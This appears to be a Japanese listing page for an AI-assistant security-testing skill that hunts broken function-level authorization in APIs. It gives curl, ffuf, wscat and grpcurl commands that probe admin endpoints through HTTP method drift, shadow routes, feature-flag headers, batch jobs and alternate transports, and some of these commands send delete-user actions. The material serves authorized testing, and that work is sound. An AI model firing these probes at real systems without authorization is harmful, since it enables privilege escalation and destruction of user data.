hunt-broken-function-level-auth について
hunt-broken-function-level-authは、低権限ユーザーが制限された操作を実行できる認可不備を探すセキュリティテストスキルです。HTTPメソッドの差異、シャドールート、機能フラグ、バッチエンドポイント、通信プロトコル間の差に着目します。
主な機能
- 01HTTPメソッドの認可確認
- 02レガシーおよびシャドールートのテスト
- 03機能フラグ付きエンドポイントの確認
- 04バッチおよびジョブエンドポイントの調査
- 05プロトコル間の認可比較
活用シーン
- 01別のHTTPメソッドで管理操作をテスト
- 02廃止予定ルートのアクセス制御不備を確認
- 03GraphQLやWebSocketとRESTの認可を比較
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-broken-function-level-authインストール後、Claude Code で/hunt-broken-function-level-authを入力して読み込まれたか確認します。
詳細
関数レベルの認可不備
コントローラー/ミドルウェアレベルで認可が適用されている一方で、HTTP メソッドのずれ、レガシールート、シャドーエンドポイント、またはトランスポートプロトコルの不整合によって回避できるエンドポイントを探します。IDOR(オブジェクトレベル)とは異なり、これはアクションレベルの認可を対象とします。つまり、管理者ロールを持たないユーザーが管理者機能を実行できるかを調べます。
使用する場面
- API に admin、moderator、user などの異なるユーザーロールがあるものの、ロールチェックがメソッドごとではなくコントローラーごとに行われています。
- 更新されたミドルウェアの背後で、レガシーまたは非推奨のエンドポイントが引き続き提供されています。
- REST API と並行して GraphQL、gRPC、WebSocket のトランスポートが存在し、認可の一貫性がありません。
- セキュリティレビュー前に、機能フラグやベータ版エンドポイントで機能が公開されています。
- バッチ/ジョブエンドポイントが、ロールを検証せずに内部リクエストを受け付けます。
簡易検出
# Verb drift: try PUT/DELETE on endpoints that return 403 on GET
for method in GET POST PUT PATCH DELETE OPTIONS; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/admin/users" -w "$method %{http_code}\n" -o /dev/null
done
手順
フェーズ 1 — HTTP メソッドのずれ
# Admin endpoints — each HTTP method may have different auth
ENDPOINTS=(
"/api/admin/users"
"/api/admin/settings"
"/api/manage/orders"
"/api/internal/config"
)
for ep in "${ENDPOINTS[@]}"; do
for method in GET POST PUT PATCH DELETE; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com$ep" \
-w "$method $ep — %{http_code}\n" -o /dev/null
done
# Also try custom methods
curl --max-time 30 --connect-timeout 10 -sk -X "PURGE" "https://target.com$ep" -o /dev/null -w "PURGE — %{http_code}\n"
curl --max-time 30 --connect-timeout 10 -sk -X "DEBUG" "https://target.com$ep" -o /dev/null -w "DEBUG — %{http_code}\n"
done
フェーズ 2 — ルートのシャドーイング
# Legacy routes that bypass modern middleware
for path in "/api/v0/" "/api/v1/" "/api/legacy/" "/api/internal/" "/api/beta/" \
"/api/mobile/" "/api/partner/" "/api/integration/" "/api/webhook/"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com${path}users" -w "%{http_code} — $path\n" -o /dev/null
done
# ffuf for route discovery
ffuf -u "https://target.com/api/FUZZ/users" \
-w /path/to/prefixes.txt \
-mc 200,301,401,403
フェーズ 3 — 機能フラグの回避
# Beta/preview endpoints often lack authorization
for flag in "beta" "preview" "canary" "experimental" "new" "v2" "preview"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/${flag}/admin" -w "%{http_code} — $flag\n" -o /dev/null
done
# Feature flags in headers or cookies
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "X-Feature-Flags: admin" \
-H "X-Experimental: true" \
-H "X-Beta-Access: 1"
フェーズ 4 — バッチ/ジョブエンドポイント
# Batch operations may skip per-item authorization
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/batch" \
-H "Content-Type: application/json" \
-d '{"operations":[{"method":"DELETE","path":"/users/1"},{"method":"GET","path":"/admin/logs"}]}'
# Background job endpoints
for path in "/api/jobs" "/api/tasks" "/api/cron" "/api/queue" "/api/workers"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com${path}/admin-cleanup" -w "%{http_code} — $path\n" -o /dev/null
done
フェーズ 5 — トランスポートプロトコルの不整合
# GraphQL — check if mutations allow admin actions without role check
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"mutation { deleteUser(id: 1) { success } }"}'
# WebSocket — actions sent over WS may skip REST middleware
# Test via wscat
echo '{"type":"DELETE_USER","payload":{"userId":1}}' | wscat -c "wss://target.com/ws"
# gRPC — reflection may expose admin methods
grpcurl -plaintext target.com:50051 list
grpcurl -plaintext target.com:50051 admin.UserService/DeleteUser
フェーズ 6 — Content-Type ミドルウェアの不備
# Different content types may hit different parsers/middleware
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "Accept: application/xml" \
-H "Content-Type: application/xml" \
-d '<user><name>test</name></user>'
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "Content-Type: multipart/form-data" \
-F "name=test"
注意点
- 405 Method Not Allowed は「認可の問題がない」という意味ではありません。 発見事項とするには、そのメソッドが存在し、かつ認可チェックが欠けている必要があります。
- ルートのシャドーイングを発見事項とするには、シャドーエンドポイントが認証済みリクエストを受け付ける必要があります。 公開されているユーザー情報エンドポイントは発見事項ではありません。
- 一般ユーザー向けのミューテーションにおける GraphQL の
deleteUserは IDOR であり、BFLA ではありません。 BFLA が対象とするのはアクションレベルの権限であり、オブジェクトの所有権ではありません。 - WebSocket の認可回避を立証するには、WS ハンドラーが REST ミドルウェアのチェックを省略している証拠が必要です。 同じアクションについて WS と REST を比較してください。
検証
- 低い権限のユーザーが、保護されていない HTTP メソッド、シャドールート、またはトランスポートプロトコルを通じて、管理者専用のアクションを実行します。
- アクションが成功します(異なるエラーが返るだけではなく、実際に操作が行われます)。
- 標準的な経路(REST GET/POST)で同じアクションを実行すると、正しく 403 が返ります。
- 認可を回避できる具体的なメソッド、エンドポイント、トランスポートプロトコルを記録します。
関連スキル
hunt-idor— オブジェクトレベルの認可(他のユーザーのデータへのアクセス)。hunt-auth-bypass— 認証全体を回避するパターン。hunt-api-misconfig— トランスポートの不備を含む、API レベルの設定ミス。
コメント
Markdown 対応